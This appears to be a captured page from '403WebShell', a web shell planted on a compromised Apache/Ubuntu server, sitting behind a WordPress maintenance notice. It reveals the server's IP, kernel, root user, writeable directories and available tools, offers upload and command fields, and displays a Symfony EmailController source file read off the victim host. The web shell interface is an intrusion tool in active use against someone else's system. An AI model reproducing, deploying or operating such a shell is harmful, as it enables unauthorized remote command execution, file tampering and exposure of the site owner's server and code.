WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Controller/EmailController.php
<?php

namespace App\Controller;

use App\Repository\CartRepository;
use App\Repository\ModelRepository;
use App\Util\Mailer;
use FOS\UserBundle\Model\UserManagerInterface;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;

/**
 * @Route("/email", name="email_")
 */
class EmailController extends AbstractController
{
    public $userManager;
    public $mailer;

    public function __construct(UserManagerInterface $userManager, Mailer $mailer)
    {
        $this->userManager=$userManager;
        $this->mailer=$mailer;
    }
    /**
     * @Route("/", name="index")
     */
    public function index()
    {
        return $this->render('email/index.html.twig', [
            'controller_name' => 'EmailController',
        ]);
    }

    /**
     * @Route("/new/admin", name="new_admin")
     */
    public function sendNewAdminEmail()
    {
        $url = $this->generateUrl('role_user_dashboard',[], UrlGeneratorInterface::ABSOLUTE_URL);
        $context = array(
            'user' => $this->getUser(),
            'url' => $url,
            'password' => 'pass'
        );
        $template = 'email/new_admin.html.twig';
        return $this->render($template,$context);
    }

    /**
     * sendModelRelationship
     * @Route("/model/relationship", name="model_relationship")
     */
    public function sendModelRelationship(ModelRepository $modelRepository)
    {
        $user=$this->getUser();
        $model=$modelRepository->findFirst();
        $url = $this->generateUrl('role_user_dashboard',[], UrlGeneratorInterface::ABSOLUTE_URL);
        $context = array(
            'user' => $user,
            'model' => $model,
            'url' => $url,
        );
        $template = 'email/new_model_relationship.html.twig';
        return $this->render($template,$context);
    }
    /**
     * sendModelRelationship
     * @Route("/basket/qoute", name="basket_qoute")
     */
    public function sendBasketQuote(CartRepository $cartRepository)
    {
        $stock_directory=$this->getParameter('public_directory');
        $attachmentPath=$stock_directory.DIRECTORY_SEPARATOR.'uploads/releases/public/uploads/releases/sample_20191010.pdf';
        $user=$this->getUser();
        $template = 'email/basket_quote.html.twig';
        $url = $this->generateUrl('role_user_dashboard',[], UrlGeneratorInterface::ABSOLUTE_URL);
        $context = array(
            'cart' => $cartRepository->findFirst(),
            'url' => $url,
            'basket_quote' => $attachmentPath
        );

        return $this->render($template,$context);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit